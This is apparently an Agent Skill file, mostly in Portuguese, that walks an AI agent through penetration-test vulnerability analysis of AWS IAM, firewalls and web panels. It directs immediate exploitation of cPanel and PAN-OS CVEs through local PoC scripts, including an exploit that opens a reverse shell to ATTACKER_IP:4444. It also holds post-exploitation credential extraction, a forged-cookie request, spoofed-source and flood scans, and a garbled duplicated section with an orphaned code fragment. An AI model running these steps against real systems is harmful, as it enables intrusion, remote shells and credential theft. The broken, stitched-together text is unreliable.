# Pentest Vulnerability Analysis

> PTES Phase 4 - Vulnerability analysis for AWS security assessments using WorstAssume security assessment engine

- Skill: `bob-reis/pentest-vulnerability-analysis` (Agent Skill)
- Install (CLI): `npx skillmds@latest add bob-reis/pentest-vulnerability-analysis`
- Raw SKILL.md: https://api.skillmd.com/api/skills/bob-reis/pentest-vulnerability-analysis/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: bob-reis (https://skillmd.com/u/bob-reis)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/bob-reis/pentest-vulnerability-analysis

---


# PTES Phase 4: Vulnerability Analysis

## 🎯 pfSense Detection & Routing

> **IMPORTANTE:** Se durante a análise de vulnerabilidades você identificar **pfSense**, **ATIVE A SKILL `pentest-pfsense`** imediatamente.

### Indicadores de pfSense

```bash
# Web GUI fingerprinting
curl -skI https://TARGET | grep -iE "server:|pfsense"
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate"

# Version detection
curl -sk https://TARGET/ | grep -iE "version|2\.[0-9]"

# Nmap service detection
nmap -sV -p 443,22,1194 TARGET | grep -iE "nginx|openssh|openvpn"
```

### Sinais de Alerta
- [ ] Web GUI pfSense (porta 443, nginx)
- [ ] OpenSSH em firewall (porta 22)
- [ ] OpenVPN/IPSec/WireGuard expostos
- [ ] SNMP com OID pfSense
- [ ] XMLRPC endpoint disponível

### Ação Imediata
```bash
# Se pfSense detectado → ATIVAR pentest-pfsense skill
# Esta skill continua para vulnerability analysis geral (AWS)
# Use pentest-pfsense para:
# - CVE verification (27+ CVEs conhecidas)
# - Command injection testing (CVE-2023-42326, etc.)
# - File read arbitraries (CVE-2025-53392)
# - XSS stored/reflected testing
# - Package vulnerabilities (pfBlockerNG, Suricata, Snort)
```

---

## 🎯 cPanel & WHM Detection & Routing

> **IMPORTANTE:** Se durante a análise de vulnerabilidades você identificar **cPanel** ou **WHM**, **TESTE CVE-2026-41940** imediatamente.

### Indicadores de cPanel/WHM

```bash
# Web GUI fingerprinting
curl -skI https://TARGET:2087 | grep -iE "server:|cPanel|WHM"
curl -sk https://TARGET:2087/login | grep -iE "cPanel|WHM"
curl -sk https://TARGET:2083 | grep -iE "cPanel"

# Version detection (se autenticado)
curl -sk -H "Authorization: Basic <creds>" https://TARGET:2087/json-api/version

# Nmap service detection
nmap -sV -p 2087,2083,2095,2096 TARGET | grep -iE "cpanel|whm"
```

### Sinais de Alerta
- [ ] WHM Web GUI (porta 2087)
- [ ] cPanel Web GUI (porta 2083)
- [ ] Webmail ports (2095, 2096)
- [ ] HTTP headers com "cPanel"
- [ ] Login page com "cPanel Login" ou "WHM Login"

### Ação Imediata
```bash
# Se cPanel/WHM detectado → Testar CVE-2026-41940

# Step 1: Detect vulnerability
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET:2087 -u admin -p password detect

# Step 2: Se vulnerável, explorar
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET:2087 -u admin -p password exploit

# Step 3: Verificar acesso
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET:2087 -u admin -p password verify

# Step 4: Checar patch (para reporte)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET:2087 -u admin -p password check-patch
```

### HTTP Header Injection Testing

```bash
# Testar CRLF injection em headers (headi tool)
headi -u https://TARGET:2087/login
```

---

## 🎯 Palo Alto Networks PAN-OS Detection & Routing

> **IMPORTANTE:** Se durante a análise de vulnerabilidades você identificar **Palo Alto Networks PAN-OS**, **TESTE CVE-2026-0300** imediatamente — vulnerabilidade crítica com exploração ativa.

### Indicadores de PAN-OS

```bash
# Web GUI fingerprinting
curl -skI https://TARGET | grep -iE "server:|Palo Alto"
curl -sk https://TARGET/php/login.php | grep -iE "PAN_FORM_CONTENT|Palo Alto|PAN-OS"

# Version detection
curl -sk https://TARGET/api/?type=version
curl -sk https://TARGET/php/login.php | grep -iE "version|[0-9]+\.[0-9]+\.[0-9]+"

# Nmap service detection
nmap -sV -p 443,80,8080 TARGET | grep -iE "nginx|Palo Alto"

# Shodan passive detection
shodan search "http.title:\"Palo Alto Networks\""
shodan search "http.favicon.hash:873381299"
```

### Sinais de Alerta
- [ ] PAN-OS Management Panel (porta 443)
- [ ] User-ID Authentication Portal acessível
- [ ] GlobalProtect portal exposto
- [ ] SNMP com OID Palo Alto
- [ ] API endpoint disponível

### Ação Imediata

```bash
# Se PAN-OS detectado → Testar CVE-2026-0300 (Buffer Overflow RCE)

# Step 1: Detect vulnerability (non-intrusive)
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
  -t https://TARGET detect

# Step 2: Check version
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
  -t https://TARGET check-version

# Step 3: Check patch status
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
  -t https://TARGET check-patch

# Step 4: Se vulnerável e autorizado → Explorar (CUIDADO: pode crashar)
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
  -t https://TARGET exploit --host ATTACKER_IP --port 4444
```

### Vulnerable Versions

```
PAN-OS 10.2: < 10.2.7-h34, < 10.2.10-h36, < 10.2.13-h21, < 10.2.16-h7, < 10.2.18-h6
PAN-OS 11.1: < 11.1.4-h33, < 11.1.6-h32, < 11.1.7-h6, < 11.1.10-h25, < 11.1.13-h5, < 11.1.15
PAN-OS 11.2: < 11.2.4-h17, < 11.2.7-h13, < 11.2.10-h6, < 11.2.12
PAN-OS 12.1: < 12.1.4-h5, < 12.1.7
```

### CVE-2026-0300 Details

| Campo | Valor |
|-------|-------|
| **CVSS 4.0** | 9.3 (Critical) |
| **CWE** | CWE-787 (Out-of-bounds Write) |
| **Autenticação** | NÃO requer |
| **Impacto** | RCE como root |
| **Status** | Exploração ativa |
| **Pré-requisito** | User-ID Auth Portal habilitado |

### Mitigações Imediatas

```bash
# 1. Restringir acesso ao User-ID Portal
# Device > User Identification > Authentication Portal Settings
# Adicionar ACL para IPs internos apenas

# 2. Desabilitar Captive Portal se não necessário
# Device > User Identification > Authentication Portal

# 3. Aplicar patch quando disponível (13-28 maio 2026)
```

### Nuclei Detection

```bash
# Detect PAN-OS panel
nuclei -u https://TARGET -t /root/nuclei-templates/panos-management-panel.yaml

# Detect User-ID portal
nuclei -u https://TARGET -tags captive-portal,authentication -silent
```

### Post-Exploitation (Se comprometido)

```bash
# Coletar informações
show system info
show interface all
show routing route

# Extrair configuração
cat /config/panos-config.xml

# Verificar sessões ativas
show session all

# Extrair credenciais
grep -r "password\|secret\|key" /config/
```

---

## 🎯 Outros Firewalls/Devices de Rede

### Fortinet FortiGate

```bash
# Detect FortiGate
curl -sk https://TARGET/login | grep -i "FortiGate\|Fortinet"
shodan search "http.title:\"FortiGate\""

# CVEs críticas para testar:
# - CVE-2023-27997 (SSL VPN RCE)
# - CVE-2022-40684 (Auth Bypass)
# - CVE-2022-42475 (SQL Injection RCE)
```

### Cisco ASA/Firepower

```bash
# Detect Cisco ASA
nmap -sV -p 443 TARGET | grep -i "Cisco"

# CVEs críticas:
# - CVE-2020-3452 (File Read)
# - CVE-2018-0101 (RCE)
# - CVE-2018-0296 (Path Traversal)
```

### F5 BIG-IP

```bash
# Detect F5 BIG-IP
curl -sk https://TARGET/tmui/login.jsp | grep -i "BIG-IP\|F5"

# CVEs críticas:
# - CVE-2020-5902 (RCE)
# - CVE-2021-22986 (iControl REST RCE)
# - CVE-2022-1388 (iControl REST Auth Bypass)
```

---

## 🎯 Outros Firewalls/Devices de Rede

### Fortinet FortiGate

```bash
# Detect FortiGate
curl -sk https://TARGET/login | grep -i "FortiGate\|Fortinet"
shodan search "http.title:\"FortiGate\""

# CVEs críticas para testar:
# - CVE-2023-27997 (SSL VPN RCE)
# - CVE-2022-40684 (Auth Bypass)
# - CVE-2022-42475 (SQL Injection RCE)
```

### Cisco ASA/Firepower

```bash
# Detect Cisco ASA
nmap -sV -p 443 TARGET | grep -i "Cisco"

# CVEs críticas:
# - CVE-2020-3452 (File Read)
# - CVE-2018-0101 (RCE)
# - CVE-2018-0296 (Path Traversal)
```

### F5 BIG-IP

```bash
# Detect F5 BIG-IP
curl -sk https://TARGET/tmui/login.jsp | grep -i "BIG-IP\|F5"

# CVEs críticas:
# - CVE-2020-5902 (RCE)
# - CVE-2021-22986 (iControl REST RCE)
# - CVE-2022-1388 (iControl REST Auth Bypass)
```

# Manual CRLF testing
curl -sk -H "Authorization: Basic $(echo -n 'root:x' | base64)" \
     -H "Cookie: whostmgrsession=test; sucesso=1; tfa_verified=1" \
     https://TARGET:2087/scripts2/doautoconfig
```

---

## Objetivo
Identificar e validar vulnerabilidades técnicas específicas nos sistemas AWS alvo, seguindo PTES Section 3 (Vulnerability Analysis).

## WorstAssume Security Assessment Engine

### 5 Categorias de Vulnerabilidades (worstassume/core/security_assessment.py)

```
CATEGORIA 1: WEAK_TRUST
- Trust policies de roles com permissões excessivas
- Path-IDs: WildcardTrustNoCondition, ExternalAccountRootTrust, BroadServicePrincipal:*
- Severidade padrão: CRITICAL a MEDIUM (com downgrade matrix)

CATEGORIA 2: PERMISSIVE_POLICY
- Managed policies ou inline policies com alto privilégio
- Path-IDs: PermissivePolicy:HIGH, PermissivePolicy:MEDIUM
- Detecta: AdministratorAccess, PowerUserAccess, IAMFullAccess

CATEGORIA 3: RESOURCE_WILDCARD
- Ações de escrita/admin em Resource: *
- Path-IDs: ResourceWildcard:iam:passrole, ResourceWildcard:s3:putobject, etc.
- 20+ verbos perigosos detectados (DEFAULT_WRITE_VERBS)

CATEGORIA 4: USER_CONFIG
- IAM user hygiene: MFA, stale keys, privilege
- Path-IDs: UserConsoleNoMFA, UserStaleKey365, UserStaleKey90, UserPrivilege:*

CATEGORIA 5: GROUP_CONFIG
- Dangerous group-level permissions
- Path-IDs: GroupPrivilege:HIGH, GroupPrivilege:MEDIUM
```

### Severity Downgrade Matrix

```python
# Trust × permission-risk downgrade matrix (security_assessment.py:38-42)
_TRUST_DOWNGRADE = {
    ("CRITICAL", "MEDIUM"): "HIGH",
    ("CRITICAL", "LOW"):    "MEDIUM",
    ("HIGH",     "LOW"):    "MEDIUM",
}

# Exemplo: Role com trust CRITICAL mas permission risk LOW
# Severidade final: MEDIUM (downgraded)
```

### Managed Policies Detectadas

```python
# DANGEROUS_MANAGED (security_assessment.py:72-75)
- AdministratorAccess
- PowerUserAccess
- IAMFullAccess
- AWSAccountManagementFullAccess
- AWSOrganizationsFullAccess

# ELEVATED_MANAGED (security_assessment.py:77-84)
- AmazonEC2FullAccess, AmazonS3FullAccess, AWSLambda_FullAccess
- AmazonRDSFullAccess, AmazonDynamoDBFullAccess, SecretsManagerReadWrite
- +12 outras policies de serviço
```

---

## HTTP Header Injection Testing com headi (PTES 3.1 - Vulnerability Testing)

### Quando usar headi
Use headi quando o alvo possui **restrições de acesso baseadas em IP** ou quando suspeitar de:
- Bypass de controle de acesso via headers HTTP (`X-Forwarded-For`, `X-Real-IP`, etc.)
- IP spoofing para acessar recursos internos/restritos
- SSRF via headers de proxy
- WAF bypass por cabeçalhos de IP confiável

### Headers testados pelo headi (24 headers)
```
Client-IP, Connection, Contact, Forwarded, From, Host, Origin, Referer,
True-Client-IP, X-Client-IP, X-Custom-IP-Authorization, X-Forward-For,
X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Server, X-Host,
X-HTTP-Host-Override, X-Original-URL, X-Originating-IP, X-Real-IP,
X-Remote-Addr, X-Remote-IP, X-Rewrite-URL, X-Wap-Profile
```

### Payloads padrão (bypass de localhost)
```
127.0.0.1, localhost, 0.0.0.0, 0, 127.1, 127.0.1, 2130706433
```

### Uso básico (PTES 3.1.1 - Active Testing)
```bash
# Teste com payloads padrão (localhost bypass)
headi -u https://target.com/restricted-resource

# Iterar sobre múltiplos URLs
for i in $(cat urls.txt); do headi -u $i; done
```

### Uso com payloads customizados (PTES 3.1.2 - Automated Tools)
```bash
# Após enumerar IPs internos na fase de Intelligence Gathering
headi -u https://target.com/admin -p internal_ips.txt

# Exemplo de internal_ips.txt
10.0.0.1
10.0.1.1
192.168.1.1
172.16.0.1
```

### Interpretação dos resultados
```
[+] verde  = mudança no Content-Length → possível bypass (investigar!)
[-] vermelho = sem mudança → header não alterou resposta

Exemplo de finding positivo:
[+] [https://target.com/admin] [X-Forwarded-For: 127.0.0.1] [Code: 200] [Size: 4521]
   ↑ baseline retornou 403 com size diferente = BYPASS CONFIRMADO

Verificar também:
- Mudança de status code (403 → 200)
- Mudança significativa no Content-Length
- Redirecionamentos diferentes
```

### Template de Finding - HTTP Header Injection (PTES 3.2 - Vulnerability Validation)
```
FINDING: HTTP-HEADER-INJECTION-BYPASS
CATEGORY: ACCESS_CONTROL_BYPASS
SEVERITY: HIGH/CRITICAL (depende do recurso protegido)

AFFECTED RESOURCE:
- URL: [URL alvo]
- Header: [header que causou bypass]
- Payload: [valor do header]

DESCRIPTION:
O endpoint aceita o header [X] para determinar o IP de origem do cliente,
permitindo que um atacante remoto faça spoofing do endereço IP e bypass
controles de acesso baseados em IP.

EVIDENCE:
Baseline: [Code: 403] [Size: 512]
Com header: [X-Forwarded-For: 127.0.0.1] [Code: 200] [Size: 4521]

VALIDATION:
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/restricted

PTES REFERENCE: Section 3.1.1 (Active Testing), 3.2 (Vulnerability Validation)
```

### Timeout customizado (para alvos lentos)
```bash
# Timeout em milissegundos (padrão: 10000ms = 10s)
headi -u https://target.com/resource -t 30000
```

---

## Referências PTES para Vulnerability Analysis

### PTES 3.1 - Vulnerability Testing
- **3.1.1 Active**: Varredura ativa de vulnerabilidades
- **3.1.2 Automated Tools**: WorstAssume security assessment
- **3.1.3 Passive Testing**: Enumerate com --stealth mode
- **3.1.4 Metasploit Scanners**: N/A para AWS IAM

### PTES 3.2 - Vulnerability Validation
- **3.2.1 Public Research**: AWS IAM documentation, CVE research
- **3.2.2 Establish Target List**: Account IDs, principal ARNs

### PTES 3.3 - Attack Avenues
- **3.3.1 Creation of Attack Trees**: Attack chains do WorstAssume
- **3.3.2 Identify Protection Mechanisms**: SCPs, MFA, IMDSv2

---

## Análise de Vulnerabilidades com WorstAssume

### 1. Executar Security Assessment (PTES 3.1.2 - Automated Tools)

```bash
# Executar assessment em todas as contas enumeradas
worst assess

# Filtrar por severidade mínima (PTES 3.1 - Vulnerability Testing)
worst assess --min-severity MEDIUM
worst assess --min-severity HIGH

# Assessment em conta específica (PTES 3.2.2 - Establish Target List)
worst assess --account-id 123456789012

# Com configuração customizada de severidade (security_assessment.py:112-129)
worst assess --severity-config custom_severity.json

# Exportar resultados para análise técnica (PTES 6.2)
worst assess --output json > findings.json

# Assessment com threads customizadas (default: 8)
worst assess --max-workers 16
```

### 2. Severity Config Overrides (worstassume/core/security_assessment.py:112-129)

```json
// custom_severity.json - Override de severidade por Path-ID
{
  "WildcardTrustNoCondition": "CRITICAL",
  "ExternalAccountRootTrust": "CRITICAL",
  "UserConsoleNoMFA": "HIGH",
  "UserStaleKey365": "MEDIUM",
  "ResourceWildcard:iam:passrole": "HIGH",
  "PermissivePolicy:HIGH": "CRITICAL"
}
```

### 3. Finding Categories Detalhadas

#### WEAK_TRUST (worstassume/core/security_assessment.py:188-372)

```
PATH-IDs Detectados:

1. WildcardTrustNoCondition (CRITICAL)
   - Principal: "*" sem condição
   - Qualquer entidade AWS pode assumir a role

2. ExternalAccountRootTrust (CRITICAL/HIGH)
   - Root de conta externa confiável
   - Toda conta externa pode assumir

3. OwnAccountRootTrust (HIGH/INFO)
   - Root da própria conta confiável
   - Todo identity da conta pode assumir

4. BroadServicePrincipal:* (MEDIUM-CRITICAL)
   - Serviços amplos: sts, ssm, ec2, lambda, ecs-tasks
   - Downgrade se condition presente

5. CognitoTrustNoCondition (HIGH)
   - Federated Cognito sem restricting condition
   - Qualquer Cognito identity pool pode assumir

6. GitHubOIDCNoSubCondition (HIGH)
   - GitHub Actions OIDC sem condição sub/aud
   - Qualquer workflow pode assumir

7. WildcardFederatedPrincipal (CRITICAL)
   - Federated: "*" sem restrição
```

#### PERMISSIVE_POLICY (worstassume/core/security_assessment.py:434-454)

```
PATH-IDs Detectados:

1. PermissivePolicy:HIGH (CRITICAL)
   - Attached: AdministratorAccess, PowerUserAccess, IAMFullAccess
   - Ou inline policy com Action: *

2. PermissivePolicy:MEDIUM (HIGH)
   - Attached: AmazonEC2FullAccess, AmazonS3FullAccess, etc.
   - Ou write actions em Resource: *

Permission Risk Assessment (_assess_permissions):
- HIGH: DANGEROUS_MANAGED policies ou inline com Action: *
- MEDIUM: ELEVATED_MANAGED policies ou write em wildcard resources
- LOW: Apenas read-only policies
```

#### RESOURCE_WILDCARD (worstassume/core/security_assessment.py:460-488)

```
PATH-IDs Detectados (DEFAULT_WRITE_VERBS - 20+ ações):

IAM Manipulation:
- ResourceWildcard:iam:passrole
- ResourceWildcard:iam:createpolicy
- ResourceWildcard:iam:putrolepolicy
- ResourceWildcard:iam:attachuserpolicy
- ResourceWildcard:iam:attachrolepolicy
- ResourceWildcard:iam:createpolicyversion
- ResourceWildcard:iam:updateassumerolepolicy

Compute/Code Execution:
- ResourceWildcard:lambda:invokefunction
- ResourceWildcard:lambda:createfunction
- ResourceWildcard:lambda:updatefunctioncode
- ResourceWildcard:ec2:runinstances
- ResourceWildcard:glue:createjob
- ResourceWildcard:sagemaker:createnotebookinstance

Data Exfiltration:
- ResourceWildcard:s3:putobject
- ResourceWildcard:s3:deletebucket
- ResourceWildcard:s3:putbucketpolicy
- ResourceWildcard:secretsmanager:getsecretvalue
- ResourceWildcard:ssm:sendcommand

Privilege Maintenance:
- ResourceWildcard:sts:assumerole

Defensive Blinding:
- ResourceWildcard:cloudtrail:stoptail
- ResourceWildcard:cloudtrail:deletetrail
- ResourceWildcard:guardduty:deletedetector
```

#### USER_CONFIG (worstassume/core/security_assessment.py:518-585)

```
PATH-IDs Detectados:

1. UserPrivilege:HIGH/MEDIUM
   - User com managed policies de alto privilégio
   - Severidade baseada no permission risk

2. UserConsoleNoMFA (HIGH/MEDIUM)
   - Console access habilitado sem MFA
   - Risco: Account takeover via credential stuffing

3. UserStaleKey365 (HIGH)
   - Access key ativa há >365 dias
   - Detail: Key ID incluído no finding

4. UserStaleKey90 (MEDIUM)
   - Access key ativa há >90 dias
   - Recomendação: Considerar rotation
```

#### GROUP_CONFIG (worstassume/core/security_assessment.py:588-602)

```
PATH-IDs Detectados:

1. GroupPrivilege:HIGH (CRITICAL)
   - Group com DANGEROUS_MANAGED policies
   - Todos membros herdam privilégios elevados

2. GroupPrivilege:MEDIUM (HIGH)
   - Group com ELEVATED_MANAGED policies
   - Members herdam permissões de serviço
```

### 4. Validação de Vulnerabilidades (PTES 3.2 - Vulnerability Validation)

#### Database Schema dos Findings (worstassume/db/models.py)

```sql
-- SecurityFinding table structure
CREATE TABLE security_findings (
    id INTEGER PRIMARY KEY,
    account_id INTEGER NOT NULL,
    entity_arn TEXT NOT NULL,
    entity_type TEXT NOT NULL,  -- role/user/group
    entity_name TEXT NOT NULL,
    category TEXT NOT NULL,     -- WEAK_TRUST/PERMISSIVE_POLICY/RESOURCE_WILDCARD/USER_CONFIG/GROUP_CONFIG
    path_id TEXT NOT NULL,      -- e.g., WildcardTrustNoCondition
    severity TEXT NOT NULL,     -- CRITICAL/HIGH/MEDIUM/LOW/INFO
    original_severity TEXT NOT NULL,
    message TEXT NOT NULL,
    principal_detail TEXT,      -- Additional detail about principal
    condition TEXT,             -- JSON condition from trust policy
    perm_risk TEXT,             -- HIGH/MEDIUM/LOW permission risk
    downgrade_note TEXT,        -- Reason for severity downgrade
    suppressed BOOLEAN DEFAULT FALSE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
```

#### Validação Manual por Categoria

```bash
# WEAK_TRUST - Verificar trust policy
aws iam get-role --role-name <role-name> --query 'Role.AssumeRolePolicyDocument'

# PERMISSIVE_POLICY - Verificar policies attached
aws iam list-attached-role-policies --role-name <role>
aws iam list-attached-user-policies --user-name <user>

# RESOURCE_WILDCARD - Verificar inline policies
aws iam get-role-policy --role-name <role> --policy-name <policy>
aws iam get-user-policy --user-name <user> --policy-name <policy>

# USER_CONFIG - Verificar MFA e keys
aws iam get-login-profile --user-name <user>
aws iam list-mfa-devices --user-name <user>
aws iam list-access-keys --user-name <user>

# GROUP_CONFIG - Verificar group policies
aws iam list-attached-group-policies --group-name <group>
aws iam get-group-policy --group-name <group> --policy-name <policy>
```

#### Finding Persistence (worstassume/core/security_assessment.py:608-727)

```python
# _persist function upserts findings
def _persist(db, account, raw):
    return upsert_security_finding(
        session=db,
        account=account,
        entity_arn=raw.entity_arn,
        entity_type=raw.entity_type,
        entity_name=raw.entity_name,
        category=raw.category,
        path_id=raw.path_id,
        severity=raw.severity,
        original_severity=raw.original_severity,
        message=raw.message,
        principal_detail=raw.principal_detail,
        condition=raw.condition,
        perm_risk=raw.perm_risk,
        downgrade_note=raw.downgrade_note,
        suppressed=raw.suppressed,
    )

# Thread pool analysis (max_workers=8 default)
with ThreadPoolExecutor(max_workers=max_workers) as pool:
    futures = {pool.submit(_analyze_principal, p): p for p in principals}
```

### 5. Análise de Attack Avenues (PTES 3.3)

#### Protection Mechanisms Detection

```bash
# Verificar se IMDSv2 está forçado (mitiga PATH-015, PATH-032)
aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,MetadataOptions.HttpTokens]'

# Verificar CloudTrail ativo (detecta ações de exploração)
aws cloudtrail describe-trails --query 'trailList[*].[Name,IsMultiRegionTrail,LogFileValidationEnabled]'

# Verificar GuardDuty habilitado
aws guardduty list-detectors --query 'DetectorIds[]'

# Verificar SCPs na organização
aws organizations list-roots
aws organizations list-policies-for-target --target-id <root-id> --filter SERVICE_CONTROL_POLICY
```

### 6. Vulnerability Validation Workflow

```bash
# 1. Executar assessment completo
worst assess --min-severity HIGH --output json > high-severity-findings.json

# 2. Filtrar por categoria específica
worst assess --min-severity MEDIUM | jq '.[] | select(.category == "WEAK_TRUST")'

# 3. Validar finding específico manualmente
# Exemplo: WildcardTrustNoCondition
aws iam get-role --role-name <role-from-finding> --query 'Role.AssumeRolePolicyDocument'

# 4. Verificar permission risk do principal
aws iam list-attached-role-policies --role-name <role>
aws iam list-role-policies --role-name <role>

# 5. Documentar para relatório (PTES 6.2)
cat high-severity-findings.json | jq '.[] | {
  path_id: .path_id,
  severity: .severity,
  entity: .entity_arn,
  message: .message
}'
```

---

## Network Vulnerability Analysis com Naabu + hping3 (PTES 3.1 - Vulnerability Testing)

### Naabu - Primary Port Scanning (PTES 3.1.2 - Automated Tools)

Use Naabu como ferramenta primária para identificação de vulnerabilidades de rede:

```bash
# Identificar serviços expostos
naabu -host target.com -p - -sV -silent

# Smart scan para detecção preditiva
naabu -host target.com -ss -silent

# Verificar portas com validação
naabu -host target.com -verify -silent

# CDN/WAF detection (misconfiguration check)
naabu -host target.com -ec -cdn -silent

# Passive scan (sem enviar pacotes)
naabu -host target.com -passive -silent
```

### Template de Finding - Network Exposure via Naabu
```
FINDING: NETWORK-EXPOSURE-NAABU
CATEGORY: NETWORK_VULNERABILITY
SEVERITY: [MEDIUM/HIGH/CRITICAL]
PTES: 3.1.2 - Automated Tools

TARGET:
- IP/Hostname: [target]
- Portas expostas: [lista]

DESCRIPTION:
Port scanning via Naabu identificou [X] portas abertas
expondo serviços potencialmente vulneráveis.

EVIDENCE:
naabu -host [target] -p - -j
[Output JSON com portas e serviços]

REMEDIATION:
1. Fechar portas não necessárias
2. Implementar firewall rules
3. Usar VPN para serviços internos
4. Habilitar logging e monitoramento

PTES REFERENCE: Section 3.1.2 (Automated Tools)
```

### Firewall Configuration Vulnerabilities (PTES 3.1.1 - Active Testing)
```bash
# Testar firewall stateless (vulnerabilidade de configuração)
hping3 -A -p 80 target.com
# VULNERABILITY: RST recebido = firewall stateless não rastreia conexões

# Testar filtragem de ICMP (pode indicar outras falhas)
hping3 -1 -c 10 target.com
# VULNERABILITY: Respostas ICMP = informação vazada para recon

# Testar fragmentação (bypass potencial de ACLs)
hping3 -S -p 80 -f target.com
# VULNERABILITY: Pacote fragmentado aceito = ACL não reassembla

# Testar TTL-based filtering
hping3 -S -p 80 -t 1 target.com
hping3 -S -p 80 -t 64 target.com
# VULNERABILITY: Diferença de resposta = TTL-based filtering ausente
```

### IDS/IPS Detection Testing (PTES 3.1.2 - Automated Tools)
```bash
# Testar detecção de SYN scan
hping3 -S -p 80 -c 100 target.com
# Verificar se alertas foram gerados no SIEM/IDS

# Testar detecção de XMAS scan
hping3 -F -P -U -p 80 -c 50 target.com
# Scans com flags anômalas são detectados?

# Testar detecção de spoofing
hping3 -S -p 80 --rand-source -c 100 target.com
# IDS correlaciona tráfego com origem real?

# Testar rate limiting
hping3 -S -p 80 --flood -c 1000 target.com
# Rate limiting/DoS protection é acionado?
```

### Template de Finding - Firewall Misconfiguration
```
FINDING: FIREWALL-MISCONFIGURATION-HPING3
CATEGORY: NETWORK_VULNERABILITY
SEVERITY: MEDIUM/HIGH
PTES: 3.1.1 - Vulnerability Testing

TARGET:
- IP/Hostname: [target]
- Tipo de firewall: [stateless/stateful]

VULNERABILITY DESCRIPTION:
Firewall configurado em modo stateless permite bypass de regras
de filtragem. Portas internas podem ser acessadas via ACK scan.

EVIDENCE:
hping3 -A -p 80 target.com → RST recebido (não filtrado)
hping3 -S -p 443 target.com → SYN-ACK recebido (aberta)

IMPACT:
- Portas internas acessíveis sem autenticação
- Lateral movement facilitado
- Network segmentation comprometida

REMEDIATION:
1. Configurar firewall em modo stateful
2. Implementar stateful packet inspection (SPI)
3. Adicionar regras de rate limiting
4. Habilitar logging de conexões anômalas

PTES REFERENCE: Section 3.1.1 (Active Testing)
```

### 7. OWASP Nettacker Vulnerability Scanning (PTES 3.1.2 - Automated Tools)

### Visão Geral

OWASP Nettacker provides **50+ vulnerability modules** for automated CVE detection and security misconfiguration scanning. Use Nettacker when you need:
- Quick CVE verification without manual testing
- Security header checks across multiple targets
- SSL/TLS vulnerability scanning
- CMS-specific vulnerability detection (WordPress, Joomla, Drupal)
- Brute-force testing for default credentials

### Nettacker Vuln Modules by Category

#### Critical CVE Detection (CVSS 9.0+)
```bash
# Log4Shell (CVE-2021-44228) - CVSS 10.0
docker run --rm owasp/nettacker -i target.com -m log4j_cve_2021_44228_vuln

# F5 BIG-IP RCE (CVE-2020-5902) - CVSS 9.8
docker run --rm owasp/nettacker -i target.com -m f5_cve_2020_5902_vuln

# Citrix ADC RCE (CVE-2019-19781) - CVSS 9.8
docker run --rm owasp/nettacker -i target.com -m citrix_cve_2019_19781_vuln

# vBulletin RCE (CVE-2019-16759) - CVSS 9.8
docker run --rm owasp/nettacker -i target.com -m vbulletin_cve_2019_16759_vuln

# ProxyLogon (CVE-2021-26855) - CVSS 9.8
docker run --rm owasp/nettacker -i target.com -m msexchange_cve_2021_26855_vuln

# Apache Struts RCE (CVE-2017-5638) - CVSS 10.0
docker run --rm owasp/nettacker -i target.com -m apache_struts_vuln

# XDebug RCE - CVSS 10.0
docker run --rm owasp/nettacker -i target.com -m xdebug_rce_vuln
```

#### High Severity CVEs (CVSS 7.0-8.9)
```bash
# Citrix XSS (CVE-2023-24488)
docker run --rm owasp/nettacker -i target.com -m citrix_cve_2023_24488_vuln

# SonicWall SSLVPN (CVE-2024-53704)
docker run --rm owasp/nettacker -i target.com -m sonicwall_sslvpn_cve_2024_53704_vuln

# Ivanti EPMM (CVE-2023-35082)
docker run --rm owasp/nettacker -i target.com -m ivanti_epmm_cve_2023_35082_vuln

# Confluence vulnerabilities
docker run --rm owasp/nettacker -i target.com -m confluence_cve_2023_22515_vuln,confluence_cve_2023_22527_vuln

# Grafana (CVE-2021-43798)
docker run --rm owasp/nettacker -i target.com -m grafana_cve_2021_43798_vuln

# Joomla information disclosure (CVE-2023-23752)
docker run --rm owasp/nettacker -i target.com -m joomla_cve_2023_23752_vuln
```

#### SSL/TLS Vulnerabilities
```bash
# Heartbleed (CVE-2014-0160)
docker run --rm owasp/nettacker -i target.com -m heartbleed_vuln

# Weak cipher suites
docker run --rm owasp/nettacker -i target.com -m ssl_weak_cipher_vuln

# Old SSL versions (SSLv2/SSLv3)
docker run --rm owasp/nettacker -i target.com -m ssl_version_vuln

# Expired certificates
docker run --rm owasp/nettacker -i target.com -m ssl_expired_certificate_vuln

# Self-signed certificates
docker run --rm owasp/nettacker -i target.com -m ssl_signed_certificate_vuln

# All SSL checks combined
docker run --rm owasp/nettacker -i target.com -m ssl_*_vuln
```

#### HTTP Security Headers (Misconfigurations)
```bash
# Clickjacking protection (X-Frame-Options)
docker run --rm owasp/nettacker -i target.com -m clickjacking_vuln

# Content Security Policy
docker run --rm owasp/nettacker -i target.com -m content_security_policy_vuln

# X-Content-Type-Options
docker run --rm owasp/nettacker -i target.com -m content_type_options_vuln

# XSS Protection header
docker run --rm owasp/nettacker -i target.com -m xss_protection_vuln

# Server banner leak
docker run --rm owasp/nettacker -i target.com -m server_version_vuln

# X-Powered-By leak
docker run --rm owasp/nettacker -i target.com -m x_powered_by_vuln

# CORS misconfiguration
docker run --rm owasp/nettacker -i target.com -m http_cors_vuln

# Insecure cookies
docker run --rm owasp/nettacker -i target.com -m http_cookie_vuln

# Missing HSTS
docker run --rm owasp/nettacker -i target.com -m strict_transport_security_vuln

# All HTTP header checks
docker run --rm owasp/nettacker -i target.com -m *_vuln | grep -E "http|security|header"
```

#### CMS-Specific Vulnerabilities
```bash
# WordPress
